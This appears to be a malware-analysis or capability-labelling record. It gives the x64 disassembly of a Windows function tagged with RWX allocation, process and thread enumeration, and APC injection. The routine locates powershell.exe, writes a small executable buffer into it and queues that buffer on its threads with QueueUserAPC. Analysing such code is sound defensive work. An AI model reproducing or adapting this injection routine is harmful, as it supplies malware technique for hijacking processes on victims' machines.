Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Enumerate processes
Enumerate threads
Inject apc

Disassembly:
mov rax, rsp
push rbp
push r14
push r15
lea rbp, [rax - 0x1f8]
sub rsp, 0x2e0
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x1d8], rax
movups xmm0, xmmword [0x140003360]
movups xmmword [rbp + 0x1b8], xmm0
movsd xmm1, qword [0x140003370]
movsd qword [rbp + 0x1c8], xmm1
movzx eax, word [0x140003378]
mov word [rbp + 0x1d0], ax
xor edx, edx
lea ecx, [rdx + 6]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rsi, rax
mov dword [rsp + 0x40], 0x238
xor edx, edx
mov r8d, 0x234
lea rcx, [rsp + 0x44]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x198], 0x1c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x19c], xmm0
mov qword [rbp + 0x1ac], rax
movdqu xmmword [rbp + 0x180], xmm0
xor r15d, r15d
mov edi, r15d
mov qword [rbp + 0x190], r15
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001114
lea rdx, str.powershell.exe
lea rcx, [rsp + 0x6c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x140001114
nop
lea rdx, [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
lea rdx, str.powershell.exe
lea rcx, [rsp + 0x6c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x1400010f0
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x1000
lea r8d, [rdx + 0x1a]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
mov qword [rsp + 0x20], r15
mov r9d, 0x1a
lea r8, [rbp + 0x1b8]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rdx, [rbp + 0x198]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x1400011b5
mov eax, dword [rsp + 0x48]
cmp dword [rbp + 0x1a4], eax
je 0x140001199
lea rdx, [rbp + 0x198]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_Thread32Next]
jmp 0x140001177
lea r8, [rbp + 0x1a0]
xor edx, edx
lea rcx, [rbp + 0x180]
call fcn.1400012f0
mov rdi, qword [rbp + 0x190]
mov rbx, qword [rbp + 0x180]
mov rsi, qword [rbp + 0x188]
sub rsi, rbx
add rsi, 3
shr rsi, 2
cmp rbx, qword [rbp + 0x188]
cmova rsi, r15
mov r14, rbx
test rsi, rsi
je 0x14000121a
mov r8d, dword [r14]
mov edx, 1
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
xor r8d, r8d
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r14, [r14 + 4]
inc r15
cmp r15, rsi
jne 0x1400011e1
test rbx, rbx
je 0x140001259
sub rdi, rbx
and rdi, 0xfffffffffffffffc
mov rax, rbx
cmp rdi, 0x1000
jb 0x14000124e
add rdi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000124e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rdx, rdi
mov rcx, rbx
call fcn.140001510
xor eax, eax
mov rcx, qword [rbp + 0x1d8]
xor rcx, rsp
call fcn.1400014b0
lea r11, [rsp + 0x2e0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret